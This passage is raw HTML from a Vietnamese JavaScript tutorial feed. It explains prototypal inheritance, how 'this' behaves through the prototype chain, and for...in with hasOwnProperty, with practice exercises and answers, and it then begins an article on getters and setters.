<span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">eats</span><span class="token operator">:</span> <span class="token boolean">true</span><span class="token punctuation">,</span> <span class="gatsby-highlight-code-line"> <span class="token function">walk</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span></span><span class="gatsby-highlight-code-line"> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"Animal walk"</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span><span class="gatsby-highlight-code-line"> <span class="token punctuation">}</span><span class="token punctuation">,</span></span><span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">let</span> rabbit <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">jumps</span><span class="token operator">:</span> <span class="token boolean">true</span><span class="token punctuation">,</span> <span class="gatsby-highlight-code-line"> <span class="token literal-property property">__proto__</span><span class="token operator">:</span> animal<span class="token punctuation">,</span> <span class="token comment">// gán animal là prototype của rabbit</span></span><span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="gatsby-highlight-code-line"><span class="token comment">// định nghĩa giá trị mới cho rabbit.walk</span></span><span class="gatsby-highlight-code-line">rabbit<span class="token punctuation">.</span><span class="token function-variable function">walk</span> <span class="token operator">=</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span></span><span class="gatsby-highlight-code-line"> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"Rabbit walk"</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span><span class="gatsby-highlight-code-line"><span class="token punctuation">}</span><span class="token punctuation">;</span></span> <span class="gatsby-highlight-code-line">rabbit<span class="token punctuation">.</span><span class="token function">walk</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Rabbit walk - giá trị mới</span></span><span class="gatsby-highlight-code-line">animal<span class="token punctuation">.</span><span class="token function">walk</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Animal walk - giá trị cũ</span></span></code></pre></div> <p>Trong ví dụ trên, <code>rabbit</code> kế thừa prototype của <code>animal</code>. Nhưng khi bạn gán <code>rabbit.walk</code> bằng một hàm mới thì <code>animal.walk</code> vẫn không thay đổi.</p> <blockquote> <p>📝<strong>Chú ý:</strong> thuộc tính <code>__proto__</code> không hoàn toàn giống như <code>[[Prototype]]</code> mà đây chỉ là một <a href="/getter-va-setter-trong-javascript/"><code>getter/setter</code></a> cho <code>[[Prototype]]</code>.</p> <p>Hiện tại, <code>__proto__</code> đã lỗi thời và bạn nên dùng các phương thức <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/getPrototypeOf"><code>Object.getPrototypeOf</code></a> và <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/setPrototypeOf"><code>Object.setPrototypeOf</code></a> để thay thế.</p> <p>Tuy nhiên, để đơn giản thì mình vẫn dùng <code>__proto__</code> làm minh họa cho các ví dụ.</p> </blockquote> <h2 id="giá-trị-this-khi-kế-thừa-prototype" style="position:relative;"><a href="#gi%C3%A1-tr%E1%BB%8B-this-khi-k%E1%BA%BF-th%E1%BB%ABa-prototype" aria-label="giá trị this khi kế thừa prototype permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Giá trị <code>this</code> khi kế thừa prototype</h2> <p>Giá trị <a href="/phuong-thuc-object-va-this-trong-javascript/"><code>this</code></a> là một giá trị đặc biệt trong object.</p> <p>Câu hỏi đặt ra là: <strong>khi kế thừa prototype, giá trị của <code>this</code> bị ảnh hưởng như thế nào?</strong></p> <p>Sau đây là một ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// đối tượng animal với các phương thức</span> <span class="token keyword">let</span> animal <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token function">walk</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span><span class="token keyword">this</span><span class="token punctuation">.</span>isSleeping<span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">I walk</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token function">sleep</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">this</span><span class="token punctuation">.</span>isSleeping <span class="token operator">=</span> <span class="token boolean">true</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token comment">// đối tượng rabbit kế thừa prototype của animal</span> <span class="token keyword">let</span> rabbit <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">name</span><span class="token operator">:</span> <span class="token string">"White Rabbit"</span><span class="token punctuation">,</span> <span class="token literal-property property">__proto__</span><span class="token operator">:</span> animal<span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token comment">// thay đổi giá trị rabbit.isSleeping</span> rabbit<span class="token punctuation">.</span><span class="token function">sleep</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// kết quả</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>rabbit<span class="token punctuation">.</span>isSleeping<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>animal<span class="token punctuation">.</span>isSleeping<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// undefined</span></code></pre></div> <p>Trong ví dụ trên, đối tượng <code>rabbit</code> kế thừa prototype của <code>animal</code>. Khi gọi <code>rabbit.sleep()</code>, JavaScript tìm phương thức <code>sleep()</code> trong <code>rabbit</code> nhưng không có, nên tự động tìm kiếm ở <code>animal</code>.</p> <p>Khi câu lệnh <code>this.isSleeping = true</code> xảy ra, <strong>đối tượng đang gọi phương thức</strong> <code>sleep()</code> là <code>rabbit</code> nên giá trị của <code>this</code> tham chiếu đến <code>rabbit</code>. Nghĩa là <code>rabbit.isSleeping</code> bằng <code>true</code>.</p> <p>Còn đối với <code>animal</code>, do chưa gọi <code>animal.sleep()</code> nên thuộc tính <code>isSleeping</code> cũng chưa tồn tại trong <code>animal</code>. Dẫn đến kết quả là <code>animal.isSleeping</code> bằng <code>undefined</code>.</p> <blockquote> <p>💡 <strong>Chú ý:</strong> việc kế thừa prototype không ảnh hưởng tới <code>this</code>. Giá trị của <code>this</code> luôn được <strong>xác định lúc chạy</strong> và bằng đối tượng gọi phương thức - đối tượng đứng trước toán tử <code>.</code>.</p> </blockquote> <h2 id="vòng-lặp-forin-khi-kế-thừa-prototype" style="position:relative;"><a href="#v%C3%B2ng-l%E1%BA%B7p-forin-khi-k%E1%BA%BF-th%E1%BB%ABa-prototype" aria-label="vòng lặp forin khi kế thừa prototype permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Vòng lặp <code>for...in</code> khi kế thừa prototype</h2> <p><a href="/vong-lap-trong-javascript/">Vòng lặp <code>for...in</code></a> lặp qua tất cả các thuộc tính có trong object cũng như thuộc tính kế thừa qua prototype, ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> animal <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">eats</span><span class="token operator">:</span> <span class="token boolean">true</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">let</span> rabbit <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">jumps</span><span class="token operator">:</span> <span class="token boolean">true</span><span class="token punctuation">,</span> <span class="token literal-property property">__proto__</span><span class="token operator">:</span> animal<span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> prop <span class="token keyword">in</span> rabbit<span class="token punctuation">)</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>prop<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// jumps</span> <span class="token comment">// eats</span></code></pre></div> <p>Nếu bạn chỉ muốn duyệt qua các thuộc tính trong object và <strong>bỏ qua các thuộc tính kế thừa</strong> thì có thể dùng một trong hai cách sau:</p> <p>► <strong>Sử dụng phương thức <code>Object.keys()</code></strong></p> <p>Phương thức <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/keys"><code>Object.keys()</code></a> trả về mảng chứa tất cả các key của object, bỏ qua các thuộc tính kế thừa.</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> animal <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">eats</span><span class="token operator">:</span> <span class="token boolean">true</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">let</span> rabbit <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">jumps</span><span class="token operator">:</span> <span class="token boolean">true</span><span class="token punctuation">,</span> <span class="token literal-property property">__proto__</span><span class="token operator">:</span> animal<span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="gatsby-highlight-code-line">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>Object<span class="token punctuation">.</span><span class="token function">keys</span><span class="token punctuation">(</span>rabbit<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// ['jumps']</span></span></code></pre></div> <p>► <strong>Sử dụng <code>obj.hasOwnProperty(key)</code> để kiểm tra</strong></p> <p>Phương thức <code>obj.hasOwnProperty(key)</code> trả về <code>true</code> nếu <code>key</code> đúng là thuộc tính của <code>obj</code> (không phải qua kế thừa), ngược lại thì trả về <code>false</code>.</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> animal <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">eats</span><span class="token operator">:</span> <span class="token boolean">true</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">let</span> rabbit <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">jumps</span><span class="token operator">:</span> <span class="token boolean">true</span><span class="token punctuation">,</span> <span class="token literal-property property">__proto__</span><span class="token operator">:</span> animal<span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="gatsby-highlight-code-line"><span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> prop <span class="token keyword">in</span> rabbit<span class="token punctuation">)</span> <span class="token punctuation">{</span></span><span class="gatsby-highlight-code-line"> <span class="token keyword">let</span> isOwn <span class="token operator">=</span> rabbit<span class="token punctuation">.</span><span class="token function">hasOwnProperty</span><span class="token punctuation">(</span>prop<span class="token punctuation">)</span><span class="token punctuation">;</span></span><span class="gatsby-highlight-code-line"></span><span class="gatsby-highlight-code-line"> <span class="token keyword">if</span> <span class="token punctuation">(</span>isOwn<span class="token punctuation">)</span> <span class="token punctuation">{</span></span><span class="gatsby-highlight-code-line"> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">Our: </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>prop<span class="token interpolation-punctuation punctuation">}</span></span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Our: jumps</span></span><span class="gatsby-highlight-code-line"> <span class="token punctuation">}</span> <span class="token keyword">else</span> <span class="token punctuation">{</span></span><span class="gatsby-highlight-code-line"> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">Inherited: </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>prop<span class="token interpolation-punctuation punctuation">}</span></span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Inherited: eats</span></span><span class="gatsby-highlight-code-line"> <span class="token punctuation">}</span></span><span class="gatsby-highlight-code-line"><span class="token punctuation">}</span></span></code></pre></div> <p>Có thể bạn đang thắc là: <strong>phương thức <code>hasOwnProperty</code> ở đâu ra?</strong></p> <p>Thực tế, phương thức <code>hasOwnProperty</code> được kế thừa thông qua prototype của <code>Object</code>, cụ thể là <code>Object.prototype.hasOwnProperty</code>. Nói cách khác, mọi object đều có thể truy cập được đến phương thức <code>hasOwnProperty</code>.</p> <p><strong>Nhưng tại sao phương thức <code>hasOwnProperty</code> lại không xuất hiện trong vòng lặp <code>for...in</code>?</strong></p> <p>Bởi vì phương thức <code>hasOwnProperty</code> có cờ <a href="/writable-enumerable-configurable-object-trong-javascript/"><code>enumerable:false</code></a>, tức là không xuất hiện trong vòng lặp.</p> <h2 id="tổng-kết" style="position:relative;"><a href="#t%E1%BB%95ng-k%E1%BA%BFt" aria-label="tổng kết permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tổng kết</h2> <p>Sau đây là những kiến thức cơ bản cần nhớ về prototype trong JavaScript:</p> <ul> <li>Trong JavaScript, tất cả các object đều có thuộc tính ẩn <code>[[Prototype]]</code> với giá trị là <code>null</code> hoặc kiểu object.</li> <li>Bạn có thể sử dụng <code>obj.__proto__</code> như là một <strong>getter/setter</strong> để truy cập vào <code>[[Prototype]]</code>.</li> <li>Object ứng với <code>[[Prototype]]</code> được gọi là một prototype.</li> <li>Khi truy cập một thuộc tính hay phương thức trong object mà nó không tồn tại thì JavaScript sẽ tự động tìm kiếm trong prototype.</li> <li>Prototype chỉ hỗ trợ việc đọc, không hỗ trợ ghi/xóa thuộc tính trực tiếp trên prototype.</li> <li>Khi bạn gọi <code>obj.method()</code> và <code>method()</code> được lấy từ prototype, giá trị của <code>this</code> vẫn tham chiếu đến <code>obj</code> chứ không phải prototype.</li> <li>Vòng lặp <code>for...in</code> duyệt tất cả các thuộc tính trong object và thuộc tính của prototype thông qua kế thừa.</li> </ul> <h2 id="thực-hành" style="position:relative;"><a href="#th%E1%BB%B1c-h%C3%A0nh" aria-label="thực hành permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Thực hành</h2> <h3 id="bài-1" style="position:relative;"><a href="#b%C3%A0i-1" aria-label="bài 1 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Bài 1</h3> <p>Cho đoạn code sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> animal <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">jumps</span><span class="token operator">:</span> <span class="token keyword">null</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">let</span> rabbit <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">__proto__</span><span class="token operator">:</span> animal<span class="token punctuation">,</span> <span class="token literal-property property">jumps</span><span class="token operator">:</span> <span class="token boolean">true</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>rabbit<span class="token punctuation">.</span>jumps<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// ? (1)</span> <span class="token keyword">delete</span> rabbit<span class="token punctuation">.</span>jumps<span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>rabbit<span class="token punctuation">.</span>jumps<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// ? (2)</span> <span class="token keyword">delete</span> animal<span class="token punctuation">.</span>jumps<span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>rabbit<span class="token punctuation">.</span>jumps<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// ? (3)</span></code></pre></div> <p>Hỏi kết quả tại <code>(1)</code>, <code>(2)</code> và <code>(3)</code> là gì?</p> <div class="wrap-collapsible margin-bottom"> <input id="collapsible1" class="toggle" type="checkbox"> <label for="collapsible1" class="lbl-toggle">Xem đáp án</label> <div class="collapsible-content"> <div class="content-inner"> <p>Kết quả:</p> <ul> <li><code>(1)</code>: <code>true</code> vì trong <code>rabbit</code> có thuộc tính <code>jumps</code>.</li> <li><code>(2)</code>: <code>null</code> vì sau khi <code>delete rabbit.jumps</code>, thuộc tính <code>jumps</code> không tồn tại trong <code>rabbit</code> nữa nên JavaScript tự động tìm kiếm <code>jumps</code> ở <code>animal</code>. Và kết quả là <code>null</code>.</li> <li><code>(3)</code>: <code>undefined</code> vì tương tự như <code>(2)</code>, JavaScript tự động tìm kiếm <code>jumps</code> ở <code>animal</code>, nhưng sau khi <code>delete animal.jumps</code> thì kết quả là <code>undefined</code>.</li> </ul> </div> </div> </div> <h3 id="bài-2" style="position:relative;"><a href="#b%C3%A0i-2" aria-label="bài 2 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Bài 2</h3> <p>Cho các object sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> head <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">glasses</span><span class="token operator">:</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">let</span> table <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">pen</span><span class="token operator">:</span> <span class="token number">3</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">let</span> bed <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">sheet</span><span class="token operator">:</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token literal-property property">pillow</span><span class="token operator">:</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">let</span> pockets <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">money</span><span class="token operator">:</span> <span class="token number">2000</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span></code></pre></div> <p>Sử dụng <code>__proto__</code> để gán prototype cho các object sao cho việc tìm kiếm thuộc tính luôn được thực hiện theo thứ tự: <code>pockets</code> -> <code>bed</code> -> <code>table</code> -> <code>head</code>.</p> <p>Ví dụ <code>pockets.pen</code> có kết quả là <code>3</code> (tìm thấy ở <code>table</code>) và <code>bed.glasses</code> bằng <code>1</code> (tìm thấy ở <code>head</code>).</p> <div class="wrap-collapsible margin-bottom"> <input id="collapsible2" class="toggle" type="checkbox"> <label for="collapsible2" class="lbl-toggle">Xem đáp án</label> <div class="collapsible-content"> <div class="content-inner"> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> head <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">glasses</span><span class="token operator">:</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">let</span> table <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">pen</span><span class="token operator">:</span> <span class="token number">3</span><span class="token punctuation">,</span> <span class="gatsby-highlight-code-line"> <span class="token literal-property property">__proto__</span><span class="token operator">:</span> head<span class="token punctuation">,</span></span><span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">let</span> bed <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">sheet</span><span class="token operator">:</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token literal-property property">pillow</span><span class="token operator">:</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="gatsby-highlight-code-line"> <span class="token literal-property property">__proto__</span><span class="token operator">:</span> table<span class="token punctuation">,</span></span><span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">let</span> pockets <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">money</span><span class="token operator">:</span> <span class="token number">2000</span><span class="token punctuation">,</span> <span class="gatsby-highlight-code-line"> <span class="token literal-property property">__proto__</span><span class="token operator">:</span> bed<span class="token punctuation">,</span></span><span class="token punctuation">}</span><span class="token punctuation">;</span></code></pre></div> </div> </div> </div> <h3 id="bài-3" style="position:relative;"><a href="#b%C3%A0i-3" aria-label="bài 3 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Bài 3</h3> <p>Ví dụ <code>rabbit</code> kế thừa từ <code>animal</code> như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> animal <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token function">eat</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">this</span><span class="token punctuation">.</span>full <span class="token operator">=</span> <span class="token boolean">true</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">let</span> rabbit <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">__proto__</span><span class="token operator">:</span> animal<span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> rabbit<span class="token punctuation">.</span><span class="token function">eat</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Nếu gọi <code>rabbit.eat()</code> thì object nào nhận thuộc tính <code>full</code>?</p> <div class="wrap-collapsible margin-bottom"> <input id="collapsible3" class="toggle" type="checkbox"> <label for="collapsible3" class="lbl-toggle">Xem đáp án</label> <div class="collapsible-content"> <div class="content-inner"> <p>Đáp án là <code>rabbit</code>.</p> <p>Vì khi kế thừa prototype, giá trị của <code>this</code> vẫn tham chiếu đến đối tượng gọi phương thức, tức là <code>rabbit</code>.</p> </div> </div> </div> <p>Tham khảo: <a href="https://javascript.info/prototype-inheritance">Prototypal inheritance</a></p>[email protected]<![CDATA[Getter và setter trong JavaScript]]><![CDATA[Ngoài thuộc tính và phương thức thông thường, object còn có getter và setter. Getter trong JavaScript và setter trong JavaScript thực chất là các phương thức. Tuy nhiên, cách sử…]]>https://completejavascript.com/getter-va-setter-trong-javascript/https://completejavascript.com/getter-va-setter-trong-javascript/<![CDATA[Object]]><![CDATA[Kiểu dữ liệu]]>Fri, 23 Jun 2017 22:00:00 GMT<p>Ngoài thuộc tính và phương thức thông thường, object còn có <strong>getter và setter</strong>. Getter trong JavaScript và setter trong JavaScript <strong>thực chất là các phương thức</strong>. Tuy nhiên, cách sử dụng của chúng lại <strong>giống như thuộc tính</strong>.</p> <p>Sau đây mình sẽ cùng tìm hiểu về định nghĩa và cách sử dụng của getter, setter trong JavaScript.</p> <h2 id="định-nghĩa-getter-và-setter" style="position:relative;"><a href="#%C4%91%E1%BB%8Bnh-ngh%C4%A9a-getter-v%C3%A0-setter" aria-label="định nghĩa getter và setter permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Định nghĩa getter và setter</h2> <p>Để định nghĩa getter trong JavaScript, bạn sử dụng từ khóa <code>get</code>. Và để định nghĩa setter trong JavaScript thì bạn dùng từ khóa <code>set</code>, ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> obj <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token comment">// getter</span> <span class="token keyword">get</span> <span class="token function">propName</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">// code trả về obj.propName</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token comment">// setter</span> <span class="token keyword">set</span> <span class="token function">propName</span><span class="token punctuation">(</span><span class="token parameter">value</span><span class="token punctuation">)</span> <span class="token 